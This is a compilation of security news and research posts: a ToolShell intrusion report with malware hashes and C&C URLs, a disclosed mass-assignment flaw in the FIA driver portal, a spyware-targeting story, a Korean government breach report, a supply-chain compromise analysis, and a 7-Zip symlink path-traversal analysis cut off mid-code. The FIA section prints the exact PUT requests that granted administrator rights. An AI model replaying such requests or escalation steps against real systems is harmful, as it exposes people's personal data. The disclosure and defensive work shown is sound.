ShadowPad is a modular remote access Trojan (RAT) that is closely associated with China-based APT groups. Because of its modular nature, ShadowPad can be continuously updated with new functionalities. This capability makes it a powerful tool. It is associated with various threat groups, particularly the APT41-nexus groups such as Blackfly, Grayfly and Redfly. It was documented being used by Glowworm in 2024, which was the first time that particular group had been observed using the malware. It has more recently been used in attacks where ransomware has been deployed. Typically, ShadowPad is loaded onto victim networks via DLL sideloading. DLL sideloading is a technique where the attackers use the DLL search order mechanism in Windows to plant and then invoke a legitimate application that executes a malicious DLL payload.
On July 25, KrustyLoader was dropped by the attackers. KrustyLoader was first documented in January 2024. It is an initial-stage malware, written in Rust, which has the primary purpose of delivering a second-stage payload. KrustyLoader can carry out various anti-sandbox and anti-analysis checks, can make a copy of itself and set itself up to self-delete when its activity is finished, and can decrypt and download additional malware. Its previous activity has been linked to China-based threat actors, and in earlier campaigns it was also used to download the Sliver post-exploitation framework, which is also seen deployed against this target.
Sliver is an open-source cross-platform adversary emulation/red team framework that can legitimately be used for security testing. However, it is often abused by threat actors who use it as a command-and-control framework.
A variety of publicly available and living-off-the-land tools are also used by the attackers in this activity, including:
Certutil: Microsoft Windows utility that can be used for various malicious purposes, such as to decode information, to download files, and to install browser root certificates.
GoGo Scanner: A publicly available automated scanning engine aimed at Chinese speaking users, for use by red teams. It is available on GitHub.
Revsocks: A publicly available cross-platform SOCKS5 proxy server program/library written in C that can also reverse itself over a firewall.
Procdump: Microsoft Sysinternals tool for monitoring an application for CPU spikes and generating crash dumps, but can also be used as a general process dump utility.
Minidump: A script from the post-exploitation framework PowerSploit used for dumping processes. Attackers usually dump lsass.exe to find credentials.
LsassDumper: A utility designed to dump the Local Security Authority Subsystem Service (LSASS) process memory to a file.
An exploit for the Windows LSA Spoofing Vulnerability, CVE-2021-36942 (aka PetitPotam), was also executed. PetitPotam is an exploitation technique that allows for a threat actor within a compromised network to steal credentials and authentication information from Windows Servers such as a Domain Controller to gain full control of the domain. This is likely used for lateral movement or privilege escalation.
ToolShell impact further revealed
These attacks demonstrate that the ToolShell vulnerability was being exploited by an even wider range of Chinese threat actors than was originally thought.
There is some overlap in the types of victims and some of the tools used between this activity and activity previously attributed to Glowworm. However, we do not have sufficient evidence to conclusively attribute this activity to one specific group, though we can say that all evidence points to those behind it being China-based threat actors.
The large number of apparent victims of this activity is also notable. This may indicate that the attackers were carrying out an element of mass scanning for the ToolShell vulnerability, before then carrying out further activity only on networks of interest. The activity carried out on targeted networks indicates that the attackers were interested in stealing credentials and in establishing persistent and stealthy access to victim networks, likely for the purpose of espionage.
Indicators of Compromise (IOCs)
File indicators
6240e39475f04bfe55ab7cba8746bd08901d7678b1c7742334d56f2bc8620a35 - LsassDumper
929e3fdd3068057632b52ecdfd575ab389390c852b2f4e65dc32f20c87521600 - KrustyLoader
db15923c814a4b00ddb79f9c72f8546a44302ac2c66c7cc89a144cb2c2bb40fa - Likely ShadowPad
e6c216cec379f418179a3f6a79df54dcf6e6e269a3ce3479fd7e6d4a15ac066e – ShadowPad Loader
071e662fc5bc0e54bcfd49493467062570d0307dc46f0fb51a68239d281427c6 - Zingdoor
1f94ea00be79b1e4e8e0b7bbf2212f2373da1e13f92b4ca2e9e0ffc5f93e452b - PetitPotam/CVE-2021-36942 exploit
dbdc1beeb5c72d7b505a9a6c31263fc900ea3330a59f08e574fd172f3596c1b8 - RevSocks
6aecf805f72c9f35dadda98177f11ca6a36e8e7e4348d72eaf1a80a899aa6566 - LsassDumper
568561d224ef29e5051233ab12d568242e95d911b08ce7f2c9bf2604255611a9 - Socks Proxy
28a859046a43fc8a7a7453075130dd649eb2d1dd0ebf0abae5d575438a25ece9 - GoGo Scanner
7be8e37bc61005599e4e6817eb2a3a4a5519fded76cb8bf11d7296787c754d40 - Sliver
5b165b01f9a1395cae79e0f85b7a1c10dc089340cf4e7be48813ac2f8686ed61 - ProcDump
e4ea34a7c2b51982a6c42c6367119f34bec9aeb9a60937836540035583a5b3bc - ProcDump
7803ae7ba5d4e7d38e73745b3f321c2ca714f3141699d984322fa92e0ff037a1 – Minidump
7acf21677322ef2aa835b5836d3e4b8a6b78ae10aa29d6640885e933f83a4b01 - mantec.exe – Benign executable
6c48a510642a1ba516dbc5effe3671524566b146e04d99ab7f4832f66b3f95aa - bugsplatrc.dll
Network indicators
http://kia-almotores.s3.amazonaws[.]com/sy1cyjt - KrustyLoader C&C server
http://omnileadzdev.s3.amazonaws[.]com/PBfbN58lX - KrustyLoader C&C server
ian.sh
Ian Carroll
22.10.2025¨
We found vulnerabilities in the FIA's Driver Categorisation platform, allowing us to access PII and password hashes of any racing driver with a categorisation rating.
Introduction
With security startups getting flooded with VC funding in the past few years, some of the biggest networking events have centered themselves around the Formula 1 Grand Prix. Companies like CrowdStrike and Darktrace spend millions of dollars sponsoring teams, while others like Bitdefender have official partnerships to be a racing team's cybersecurity partner.
Having been able to attend these events by hoarding airline miles and schmoozing certain cybersecurity vendors, Gal Nagli, Sam Curry, and I thought it would be fun to try and hack some of the different supporting websites for the Formula 1 events.
This blog is part 1 of 3 in a series of vulnerabilities found in Formula 1.
Finding F1 Driver Licenses
To race in Formula 1, drivers hold an FIA Super Licence. It’s issued annually through a driver’s national motorsport authority (ASN) once they’ve met the FIA’s requirements, typically spending years in smaller races to earn Super Licence points, along with meeting minimum age thresholds and other medical/written tests.
F1 drivers often compete outside Grands Prix as well, where the FIA uses a Driver Categorisation (Bronze/Silver/Gold/Platinum) to balance teams. That categorisation is managed via the FIA portal at drivercategorisation.fia.com, which supports public self-registration for competitors to request or update their Bronze/Silver/Gold/Platinum status and submit results for review. This system is separate from the Super Licence, but many F1 drivers appear in both and receive automatic Platinum status for holding an active Super Licence.
The public login page for the Driver Categorisation portal..
After creating an account with an email and password, you are thrown into the actual application process. Normally, you will have to upload a lot of supporting documents for your request for categorization, including identity documents and racing CVs/history. However, we noticed there is a very simple HTTP PUT request that is used to update your user profile:
Copy
PUT /api/users/12934 HTTP/1.1
Host: driverscategorisation.fia.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Content-Length: 246
Content-Type: application/json
{
"id": 12934,
"email": "samwcurry@gmail.com",
"firstName": "Sam",
"lastName": "Curry",
"nickName": null
}
The HTTP request to update our profile didn't really have many interesting attributes, but the JSON returned in the response had a lot of extra values:
Copy
HTTP/1.1 200
Content-type: application/json
Content-Length: 313
{
"id": 12934,
"email": "samwcurry@gmail.com",
"firstName": "Sam",
"lastName": "Curry",
"nickName": null,
"keepNamePrivate": false,
"nickName2": null,
"birthDate": "2000-02-17",
"gender": null,
"token": null,
"roles": null,
"country": null,
"filters": [],
"status": "ACTIVATED",
"secondaryEmail": null
}
The JSON HTTP response for updating our own profile contained the "roles" parameter, something that might allow us to escalate privileges if the PUT request was vulnerable to mass assignment. We began looking through the JavaScript for any logic related to this parameter.
JavaScript from the FIA Driver Categorisation portal.
Based on the JavaScript, there were a number of different roles on the website that were intended to be used by drivers, FIA staff, and site administrators. The most interesting one was obviously admin, so we guessed the correct HTTP PUT request format to try and update our roles based on the JavaScript:
Copy
PUT /api/users/12934 HTTP/1.1
Host: driverscategorisation.fia.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Content-Length: 246
Content-Type: application/json
{
"id": 12934,
"email": "samwcurry@gmail.com",
"firstName": "Sam",
"lastName": "Curry",
"nickName": null,
"roles": [
{
"id": 1,
"description": "ADMIN role",
"name": "ADMIN"
}
]
}
Our test worked exactly as predicted. The HTTP response showed that the update was successful, and we now held the administrator role for the website.
Copy
HTTP/1.1 200
Content-type: application/json
Content-Length: 313
{
"id": 12934,
"email": "samwcurry@gmail.com",
"firstName": "Sam",
"lastName": "Curry",
"nickName": null,
"keepNamePrivate": false,
"nickName2": null,
"birthDate": "1999-10-17",
"gender": null,
"token": null,
"roles": [
{
"id": 1,
"description": "ADMIN role",
"name": "ADMIN"
}
],
"country": null,
"filters": [],
"status": "ACTIVATED",
"secondaryEmail": null
}
We reauthenticated in order to refresh our session, and upon logging in, we were shown an entirely new dashboard that was intended to be used by FIA administrators to categorise drivers, manage employees, and update server-side variables like email templates and more. We seemed to have full admin access to the FIA driver categorization website.
Accessing the driver categorisation portal as an administrator.
To validate our finding, we attempted to load a driver's profile and observed the user's password hash, email address, phone number, passport, resume, and all related PII. Additionally, we could load all internal communications related to driver categorisation including comments about their performance and committee related decisions.
Internal FIA comments about the categorisation of a professional F1 driver.
We stopped testing after seeing that it was possible to access Max Verstappen's passport, resume, license, password hash, and PII. This data could be accessed for all F1 drivers with a categorization, alongside sensitive information of internal FIA operations. We did not access any passports / sensitive information and all data has been deleted.
Disclosure timeline
06/03/2025: Initial disclosure to FIA via email and Linkedin
06/03/2025: Initial response from FIA, site taken offline
06/10/2025: Official response from FIA informing us of a comprehensive fix
10/22/2025: Release of blog post, public disclosure
techcrunch.com
Lorenzo Franceschi-Bicchierai
7:45 AM PDT · October 21, 2025
A developer at Trenchant, a leading Western spyware and zero-day maker, was suspected of leaking company tools and was fired. Weeks later, Apple notified him that his personal iPhone was targeted with spyware.
Earlier this year, a developer was shocked by a message that appeared on his personal phone: “Apple detected a targeted mercenary spyware attack against your iPhone.”
“I was panicking,” Jay Gibson, who asked that we don’t use his real name over fears of retaliation, told TechCrunch.
Gibson, who until recently built surveillance technologies for Western government hacking tools maker Trenchant, may be the first documented case of someone who builds exploits and spyware being themselves targeted with spyware.
“What the hell is going on? I really didn’t know what to think of it,” said Gibson, adding that he turned off his phone and put it away on that day, March 5. “I went immediately to buy a new phone. I called my dad. It was a mess. It was a huge mess.”
At Trenchant, Gibson worked on developing iOS zero-days, meaning finding vulnerabilities and developing tools capable of exploiting them that are not known to the vendor who makes the affected hardware or software, such as Apple.
“I have mixed feelings of how pathetic this is, and then extreme fear because once things hit this level, you never know what’s going to happen,” he told TechCrunch.
But the ex-Trenchant employee may not be the only exploit developer targeted with spyware. According to three sources who have direct knowledge of these cases, there have been other spyware and exploit developers in the last few months who have received notifications from Apple alerting them that they were targeted with spyware.
Apple did not respond to a request for comment from TechCrunch.
The targeting of Gibson’s iPhone shows that the proliferation of zero-days and spyware is starting to ensnare more types of victims.
Spyware and zero-day makers have historically claimed their tools are only deployed by vetted government customers against criminals and terrorists. But for the past decade, researchers at the University of Toronto’s digital rights group Citizen Lab, Amnesty International, and other organizations have found dozens of cases where governments used these tools to target dissidents, journalists, human rights defenders, and political rivals all over the world.
The closest public cases of security researchers being targeted by hackers happened in 2021 and 2023, when North Korean government hackers were caught targeting security researchers working in vulnerability research and development.
Suspect in leak investigation
Two days after receiving the Apple threat notification, Gibson contacted a forensic expert who has extensive experience investigating spyware attacks. After performing an initial analysis of Gibson’s phone, the expert did not find any signs of infection, but still recommended a deeper forensic analysis of the exploit developer’s phone.
A forensic analysis would have entailed sending the expert a complete backup of the device, something Gibson said he was not comfortable with.
“Recent cases are getting tougher forensically, and some we find nothing on. It may also be that the attack was not actually fully sent after the initial stages, we don’t know,” the expert told TechCrunch.
Without a full forensic analysis of Gibson’s phone, ideally one where investigators found traces of the spyware and who made it, it’s impossible to know why he was targeted or who targeted him.
But Gibson told TechCrunch that he believes the threat notification he received from Apple is connected to the circumstances of his departure from Trenchant, where he claims the company designated him as a scapegoat for a damaging leak of internal tools.
Apple sends out threat notifications specifically for when it has evidence that a person was targeted by a mercenary spyware attack. This kind of surveillance technology is often invisibly and remotely planted on someone’s phone without their knowledge by exploiting vulnerabilities in the phone’s software, exploits that can be worth millions of dollars and can take months to develop. Law enforcement and intelligence agencies typically have the legal authority to deploy spyware on targets, not the spyware makers themselves.
Sara Banda, a spokesperson for Trenchant’s parent company L3Harris, declined to comment for this story when reached by TechCrunch before publication.
A month before he received Apple’s threat notification, when Gibson was still working at Trenchant, he said he was invited to go to the company’s London office for a team-building event.
When Gibson arrived on February 3, he was immediately summoned into a meeting room to speak via video call with Peter Williams, Trenchant’s then-general manager who was known inside the company as “Doogie.” (In 2018, defense contractor L3Harris acquired zero-day makers Azimuth and Linchpin Labs, two sister startups that merged to become Trenchant.)
Williams told Gibson the company suspected he was double employed and was thus suspending him. All of Gibson’s work devices would be confiscated and analyzed as part of an internal investigation into the allegations. Williams could not be reached for comment.
“I was in shock. I didn’t really know how to react because I couldn’t really believe what I was hearing,” said Gibson, who explained that a Trenchant IT employee then went to his apartment to pick up his company-issued equipment.
Around two weeks later, Gibson said Williams called and told him that following the investigation, the company was firing him and offering him a settlement agreement and payment. Gibson said Williams declined to explain what the forensic analysis of his devices had found, and essentially told him he had no choice but to sign the agreement and depart the company.
Feeling like he had no alternative, Gibson said he went along with the offer and signed.
Gibson told TechCrunch he later heard from former colleagues that Trenchant suspected he had leaked some unknown vulnerabilities in Google’s Chrome browser, tools that Trenchant had developed. Gibson, and three former colleagues of his, however, told TechCrunch he did not have access to Trenchant’s Chrome zero-days, given that he was part of the team exclusively developing iOS zero-days and spyware. Trenchant teams only have strictly compartmentalized access to tools related to the platforms they are working on, the people said.
“I know I was a scapegoat. I wasn’t guilty. It’s very simple,” said Gibson. “I didn’t do absolutely anything other than working my ass off for them.”
The story of the accusations against Gibson and his subsequent suspension and firing was independently corroborated by three former Trenchant employees with knowledge.
Two of the other former Trenchant employees said they knew details of Gibson’s London trip and were aware of suspected leaks of sensitive company tools.
All of them asked not to be named but believe Trenchant got it wrong.
Korea JoongAng daily
Friday
October 17, 2025
The Korean government officially acknowledged Friday that hackers had accessed the Onnara system — a government work management platform — and administrative digital signature certificates called the government public key infrastructure (GPKI), which are essential for civil servant authentication.
Authorities said they are investigating how the breach occurred and assessing the extent of the damage, while also implementing new security measures.
During a press briefing at the government complex in Sejong, the Ministry of the Interior and Safety confirmed that “in mid-July, the National Intelligence Service (NIS) discovered signs that an external party accessed the Onnara system via the Government Virtual Private Network (G-VPN).”
Two months to acknowledge hacking
The statement came two months after a report by Phrack Magazine, a U.S.-based cybersecurity publication, claimed that the Ministry of the Interior and Safety, Ministry of Foreign Affairs, Ministry of Unification, Ministry of Oceans and Fisheries, telecom companies KT and LG U+ and private tech firms including Daum, Kakao and Naver, had all been targeted by hackers.
Until now, the Korean government had remained silent, but on Friday, it acknowledged the report’s claims were accurate.
The NIS is currently working with relevant agencies to determine how the breach occurred and to evaluate the scope of any data leaks. While the Ministry of the Interior and Safety said there has been no confirmed leak of government documents so far, it did not rule out the possibility of such leaks being uncovered during the investigation.
In response to the breach, the government has taken steps to strengthen its cybersecurity protocols.
“Since Aug. 4, remote access to the G-VPN has required not only digital signature authentication but also phone-based verification,” said Lee Yong-seok, head of the digital government innovation office at the Interior Ministry. “Additionally, we completed measures to prevent the reuse of login credentials for the Onnara system, which were applied to all central and local government agencies on July 28.”
Regarding GPKI, the government reviewed the validity of all certificates with information provided by the NIS. Most of the compromised certificates had already expired, and those that were still valid were revoked as of Aug. 13, according to the ministry.
NIS still investigating breach origin
The government also shared the preliminary results of its investigation into the cause of the breach, attributing it to user negligence that led to certificate information being leaked externally.
“All central and local government agencies have been instructed to stop sharing certificates and to strengthen management protocols,” the Interior Ministry said.
Although the North Korean hacking group Kimsuky was initially suspected to be behind the attack, the NIS said there was insufficient evidence to definitively identify the perpetrator. Kimsuky is known for targeting diplomatic, security and defense sectors to gather intelligence for the North Korean regime.
To counter security threats related to certificate theft or duplication, the government announced plans to replace GPKI-based authentication with biometric multi-factor methods, such as mobile government IDs for public officials.
The government also intends to expand the use of secure authentication technologies — including biometric-based digital IDs — across public services for the general population.
“If the NIS identifies any additional issues, we will immediately address and respond to them,” Lee said. “We will do everything we can to prevent a similar incident from happening again.”
filippo.io Filippo Valsorda
10.10.2025
Project compromises have common root causes we can mitigate: phishing, control handoff, and unsafe GitHub Actions triggers.
Lack of memory safety is such a predominant cause of security issues that we have a responsibility as professional software engineering to robustly mitigate it in security-sensitive use cases—by using memory safe languages.
Similarly, I have the growing impression that software supply chain compromises have a few predominant causes which we might have a responsibility as a professional open source maintainers to robustly mitigate.
To test this impression and figure out any such mitigations, I collected all 2024/2025 open source supply chain compromises I could find, and categorized their root cause. (If you find more, do email me!)
Since I am interested in mitigations we can apply as maintainers of depended-upon projects to avoid compromises, I am ignoring: intentionally malicious packages (e.g. typosquatting), issues in package managers (e.g. internal name shadowing), open source infrastructure abuse (e.g. using package registries for post-compromise exfiltration), and isolated app compromises (i.e. not software that is depended upon).
Also, I am specifically interested in how an attacker got their first unauthorized access, not in what they did with it. Annoyingly, there is usually a lot more written about the latter than the former.
2024/2025 Open Source Supply Chain Compromises
In no particular order, but kind of grouped.
XZ Utils
Long term pressure campaign on the maintainer to hand over access.
Root cause: control handoff.
Contributing factor: non-reproducible release artifacts.
Nx S1ingularity
Shell injection in GitHub Action with pull_request_target trigger and unnecessary read/write permissions4, used to extract a npm token.
Root cause: pull_request_target.
Contributing factors: read/write CI permissions, long-lived credential exfiltration, post-install scripts.
Shai-Hulud
Worm behavior by using compromised npm tokens to publish packages with malicious post-install scripts, and compromised GitHub tokens to publish malicious GitHub Actions workflows.
Root cause: long-lived credential exfiltration.
Contributing factor: post-install scripts.
npm debug/chalk/color
Maintainer phished with an “Update 2FA Now” email. Had TOTP 2FA enabled.
Root cause: phishing.
polyfill.io
Attacker purchased CDN domain name and GitHub organization.
Root cause: control handoff.
MavenGate
Expired domains and changed GitHub usernames resurrected to take control of connected packages.
Root causes: domain resurrection, username resurrection.
reviewdog and tj-actions/changed-files
Contributors deliberately granted automatic write access for GitHub Action repository5. Malicious tag re-published to compromise GitHub PAT of more popular GitHub Action6.
Root cause: control handoff.
Contributing factors: read/write CI permissions, long-lived credential exfiltration, mutable GitHub Actions tags.
Ultralytics
Shell injection in GitHub Action with pull_request_target trigger (which required read/write permissions), pivoted to publishing pipeline via GitHub Actions cache poisoning. Compromised again later using an exfiltrated PyPI token.
Root cause: pull_request_target.
Contributing factors: GitHub Actions cache poisoning, long-lived credential exfiltration.
Kong Ingress Controller
GitHub Action with pull_request_target trigger restricted to trusted users but bypassed via Dependabot impersonation7, previously patched but still available on old branch. GitHub PAT exfiltrated and used.
Root causes: pull_request_target, Dependabot impersonation.
Contributing factors: per-branch CI configuration, long-lived credential exfiltration.
Rspack
Pwn request1 against issue_comment workflow2 in other project, leading to a GitHub classic token of a maintainer with permissions to the web-infra-dev organization8 (kindly confirmed via email by the Rspack Team). Similar to previously reported and fixed vulnerability3 in the Rspack repository.
Root causes: issue_comment.
Contributing factor: long-lived credential exfiltration.
eslint-config-prettier
“Verify your account”9 npm phishing.
Root cause: phishing.
num2words
“Email verification” PyPI phishing.
Root cause: phishing.
@solana/web3.js
A “phishing attack on the credentials for publishing npm packages.”
Root cause: phishing.
rustfoundation.dev
Fake compromise remediation10 Crates.io phishing. Unclear if successful.
Root cause: phishing.
React Native ARIA & gluestack-ui
“[U]nauthorized access to publishing credentials.” Colorful and long Incident Report lacks any details on “sophisticated” entry point. Presumably an exposed npm token.
Root cause: long-lived credential exfiltration(?).
lottie-player
Unclear, but mitigation involved “remov[ing] all access and associated tokens/services accounts of the impacted developer.”
Root cause: long-lived credential exfiltration(?) or control handoff(?).
rand-user-agent
Unclear. Malicious npm versions published, affected company seems to have deleted the project. Presumably npm token compromise.
Root cause: long-lived credential exfiltration(?).
DogWifTool
GitHub token extracted from distributed binary.
Root cause: long-lived credential exfiltration.
Summary of vectors and mitigations
Phishing (5 root)
Surprising no one, the most popular confirmed initial compromise vector is phishing. It works against technical open source maintainers. It works against 2FA TOTP. It. Works. It is also very fixable.
It’s 2025 and every professional open source maintainer should be using phishing-resistant authentication (passkeys or WebAuthn 2FA) on all developer accounts, and accounts upstream of them.
Upstream accounts include email, password manager, passkey sync (e.g. Apple iCloud), web/DNS hosting, and domain registrar.
Some services, such as GitHub, require a phishable 2FA method along with phishing-resistant ones. In that case, the best option is to enable TOTP, and delete the secret or write it down somewhere safe and never ever use it—effectively disabling it. This does not work with SMS, since SIM jacking is possible even without action by the victim.
Control handoff (3+1? root)
Actually surprisingly—to me—a number of compromises are due to, effectively, giving access to the attacker.
This is a nuanced people issue. The solution is obviously “don’t do that” but that really reduces to the decades-old issue of open source maintenance sustainability. In a sense, since this analysis is aimed at professional maintainers who can afford it, control handoff is easily avoided by not doing it.
pull_request_target and issue_comment (4 root)
Kind of incredible that a specific feature has a top 3 spot, but projects get compromised by “pwn requests” all the time.
The pull_request_target workflow trigger runs privileged CI with a context full of attacker-controlled data in response to pull requests. It makes a meek attempt to be safer by not checking out the attacker’s code, instead checking out the upstream target. That’s empirically not enough, with shell injection attacks causing multiple severe compromises.
The zizmor static analyzer can help detect injection vulnerabilities, but it seems clear that pull_request_target is unsafe at any speed, and should just never be used.
Other triggers that run privileged with attacker-controlled context should be avoided for the same reason. The Rspack compromise, for example, was due to checking out attacker-controlled code on an issue_comment trigger if the PR receives a comment.
on:
issue_comment:
types: [created]
jobs:
issue_comment:
if: github.event.issue.pull_request && contains(github.event.comment.body, '!canary')
runs-on: ubuntu-latest
steps:
What are the alternatives?
One option is to implement an external service in a language that can safely deal with untrusted inputs (i.e. not YAML’d shell), and use webhooks. That unfortunately requires long-lived credentials (see below).
GitHub itself recommends using the unprivileged pull_request trigger followed by the workflow_run trigger, but it’s unclear to me how safer that would actually be against injection attacks.
Finally, since two out of three compromises were due to shell injection, it might be safer to use a proper programming language, like JavaScript with actions/github-script, or any other language accessing the context via environment variables instead of YAML interpolation. This means not using any third-party actions, as well.
Allowlisting actors and read-only steps are not robust mitigations, see Read/write CI permissions and Dependabot impersonation below.Overall, none of the mitigations are particularly satisfactory, so the solution might be simply to eschew features that require pull_request_target and other privileged attacker-controlled triggers. (To be honest, I am not a fan of chatty bots on issues and PRs, so I never needed them.)
Long-lived credential exfiltration (2+3? root, 5 contributing)
Attackers love to steal tokens. There is no universal solution, but it’s so predominant that we can consider piecemeal solutions.
Long-lived credentials are only a root cause when they are accidentally exposed. Otherwise, they are a secondary compromise mechanism for lateral movement or persistence, after the attacker got privileged code execution. Mitigating the latter is somewhat less appealing because an attacker with code execution can find more creative ways to carry out an attack, but we can prune some low-hanging fruit.
Go removes the need for package registry tokens by simply not having accounts. (Instead, the go command fetches modules directly from VCS, with caching by the Go Modules Proxy and universality and immutability guaranteed by the Go Checksum Database.) In other ecosystems Trusted Publishing replaces long-lived private tokens with short-lived OIDC tokens, although there is no way to down-scope the capabilities of an OIDC token.
GitHub Personal Access Tokens are harder to avoid for anything that’s not supported by GitHub Actions permissions. Chainguard has a third-party Security Token Service that trades OIDC tokens for short-lived tokens, and their article has a good list of cases in which PATs end up otherwise necessary. Given the risk, it might be worth giving up on non-critical features that would require powerful tokens.
Gerrit “git cookies” (which are actually just OAuth refresh tokens for the Gerrit app) can be replaced with… well, OAuth refresh tokens but kept in memory instead of disk, using git-credential-oauth. They can also be stored a little more safely in the platform keychain by treating them as an HTTP password, although that’s not well documented.
In the long term, it would be great to see the equivalent of Device Bound Session Credentials for developer and automated workflows.
Dependabot impersonation (1 root)
Turns out you can just exfiltrate a token from a GitHub Actions runner to impersonate Dependabot with arbitrary PRs???
I guess! Fine! Just don’t allowlist Dependabot. Not sure what a deeper meta-mitigation that didn’t require knowing this factoid would have been.
Domain and username resurrection (1 root)
Multiple ecosystems (Go and Maven, for example) are vulnerable to name takeovers, whether expired domain names or changed GitHub user/org names. The new owner of the name gets to publish updates for that package.
From the point of view of the maintainer, the mitigation is just not to change GitHub names (at least without registering the old one), and to register critical domains for a long period, with expiration alerting.
Read/write CI permissions (0 root, 2 contributing)
Some CI compromises happened in contexts that could or should have been read-only. It sounds like giving GitHub Actions workflows only read permissions like contents: read should be a robust mitigation for any compromise of the code they run.
Unfortunately, and kind of incredibly, even a read-only workflow is handed a token that can write to the cross-workflow cache for any key. This cache is then used implicitly by a number of official actions, allowing cross-workflow escalation by GitHub Actions cache poisoning.
This contradicts some of GitHub’s own recommendations, and makes the existence of a setting to make GitHub Actions read-only by default more misleading than useful.
The behavior does not extend to regular pull_request triggers, which are actually read-only (otherwise anyone could poison caches with a PR). GitHub simply doesn’t seem to offer a way to opt in to it.
I can see no robust mitigation in the GitHub ecosystem. I would love to be wrong, this is maddening.
Post-install scripts (0 root, 2 contributing)
Two compromises propagated by injecting npm post-install scripts, to obtain code execution as soon as a dependency was installed.
This can be disabled with
npm config set ignore-scripts true
which is worth doing for defense in depth. However, it’s only useful if the dependency is not going to be executed in a privileged context, e.g. to run tests in Node.js.
Go, unlike most ecosystems, considers code execution during fetch or compilation to be a security vulnerability, so has this safety margin by default.
Non-reproducible release artifacts (0 root, 1 contributing)
The XZ backdoor was hidden in a release artifact that didn’t match the repository source. It would be great if that was more detectable, in the form of reproducible artifacts.
The road to a fail-closed world where systems automatically detect non-reproducing artifacts is still long, though.
Mutable GitHub Actions tags (0 root, 1 contributing)
How supply chain attacks usually work these days is that an attacker gets the ability to publish new versions for a package, publishes a malicious version, and waits for dependents to update (maybe with the help of Dependabot) or install the latest version ex novo.
Not with GitHub Actions! The recommended and most common way to refer to a GitHub Action is by its major version, which is resolved to a git tag that is expected to change arbitrarily when new versions are published. This means that an attacker can instantly compromise every dependent workflow.
This was an unforced error already in 2019, when GitHub Actions launched while Go had already shipped an immutable package system. This has been discussed many times since and most other ecosystems have improved somewhat. A roadmap item for immutable Actions has been silent since 2022. The new immutable releases feature doesn’t apply to non-release tags, and the GitHub docs still recommend changing tags for Actions.
As maintainers, we can opt in to pinning where it’s somehow still not the default. For GitHub Actions, that means using unreadable commit hashes, which can be somewhat ameliorated with tooling. For npm, it means using npm ci instead of npm install.
Per-branch CI configuration (0 root, 1 contributing)
One compromise was due to a vulnerability that was already fixed, but had persisted on an old branch. Any time we make a security improvement (including patching a vulnerable Action) on a GitHub Actions workflow, we need to remember to cherry-pick it to all branches, including stale ones.
Can’t think of a good mitigation, just yet another sharp edge of GitHub Actions you need to be aware of, I suppose.
Summary
There are a number of useful mitigations, but the ones that appear to be as clearly a professional responsibility as memory safety are
phishing-resistant authentication;
not handing over access to attackers; and
avoiding privileged attacker-controlled GitHub Actions triggers (e.g. pull_request_target).pacbypass.github.io
Oct 16, 2025
Introduction
I spend some of my evenings browsing ZDI’s Advisory Page I saw two very interesting bugs (CVE-2025-11001, CVE-2025-11002) reported by Ryota Shiga from GMO Flatt Security Inc. The description shows that it is a path traversal in 7-Zip, yet the CVSS seems quite low for a potential initial access bug.
I’d like to mention there are 2 bugs disclosed by ZDI affecting this release with the same description and reporter, most likely the other report exploits a symlink bug with UNC paths, as this is also mentioned in the diff.
This post describes a vulnerability in 7-Zip’s module responsible for converting Linux symlinks to Windows ones (as well as other types of symlinks but this blog will focus on the Linux -> Windows side).
Initial assessment
When diffing between 7-Zip 24.09 vs 25.00 We can see that there are a few bugs fixed in this release. This patchs adds a considerable rework of the symlink support in zip extraction code in CPP/7zip/UI/Common/ArchiveExtractCallback.cpp. My eye instantly darted to the patch of IsSafePath.
-bool IsSafePath(const UString &path)
+static bool IsSafePath(const UString &path, bool isWSL)
{
CLinkLevelsInfo levelsInfo;
+bool IsSafePath(const UString &path);
+bool IsSafePath(const UString &path)
+{
+void CLinkLevelsInfo::Parse(const UString &path, bool isWSL)
{
Analysis
The main extraction point starts with CArchiveExtractCallback::GetStream() which calls ReadLink which makes this bug annoying to triage because ReadLink is not involved in parsing of actual symlinks but rather seems to try to get properties such as kpidHardLink which are supported in other types of archives.
GetStream calls CArchiveExtractCallback::GetExtractStream which identifies a symlink by first checking if it’s a small file (< 4k) and then performing a full file check.
if (_curSize_Defined && _curSize > 0 && _curSize < (1 << 12))
{
if (_fi.IsLinuxSymLink())
{
is_SymLink_in_Data = true;
_is_SymLink_in_Data_Linux = true;
}
else if (_fi.IsReparse())
{
is_SymLink_in_Data = true;
_is_SymLink_in_Data_Linux = false;
}
}
After a bunch of additional processing we hop into CArchiveExtractCallback::CloseReparseAndFile which is where the fun starts. The method attempts to parse the link and get an idea on where it is trying to point.
// Definition
bool CLinkInfo::Parse(const Byte *data, size_t dataSize, bool isLinuxData);
/ some code /
bool repraseMode = false;
bool needSetReparse = false;
CLinkInfo linkInfo;
if (_bufPtrSeqOutStream)
{
repraseMode = true;
reparseSize = _bufPtrSeqOutStream_Spec->GetPos();
if (_curSize_Defined && reparseSize == _outMemBuf.Size())
{
// _is_SymLink_in_Data_Linux == true
needSetReparse = linkInfo.Parse(_outMemBuf, reparseSize, _is_SymLink_in_Data_Linux);
if (!needSetReparse)
res = SendMessageError_with_LastError("Incorrect reparse stream", us2fs(_item.Path));
}
}
The parser sets 2 crucial attributes
Link path (destination path of the symlink)
isRelative (states if the symlink is relative)
The First issue
What happens when a Linux symlink has a Windows-style C:\ path?
The link path is set to the full C:\ path, yet it’s labeled relative because the parser follows the Linux-style check for absolute paths in the parser.
This will come in handy later.
#ifdef SUPPORT_LINKS
if (repraseMode)
{
_curSize = reparseSize;
_curSize_Defined = true;
#ifdef SUPPORT_LINKS
if (needSetReparse)
{
if (!DeleteFileAlways(_diskFilePath))
{
RINOK(SendMessageError_with_LastError("can't delete file", _diskFilePath))
}
{
bool linkWasSet = false;
RINOK(SetFromLinkPath(_diskFilePath, linkInfo, linkWasSet))
if (linkWasSet)
_isSymLinkCreated = linkInfo.IsSymLink();
else
_needSetAttrib = false;
}
}
#endif}
#endif
SetFromLinkPath is the function which is responsible for creating a symlink with the specified path, however there was a guard rail in place stopping us from creating links to absolute paths.
if (linkInfo.isRelative)
relatPath = GetDirPrefixOf(_item.Path);
relatPath += linkInfo.linkPath;
if (!IsSafePath(relatPath))
{
return SendMessageError2(
0, // errorCode
"Dangerous link path was ignored",
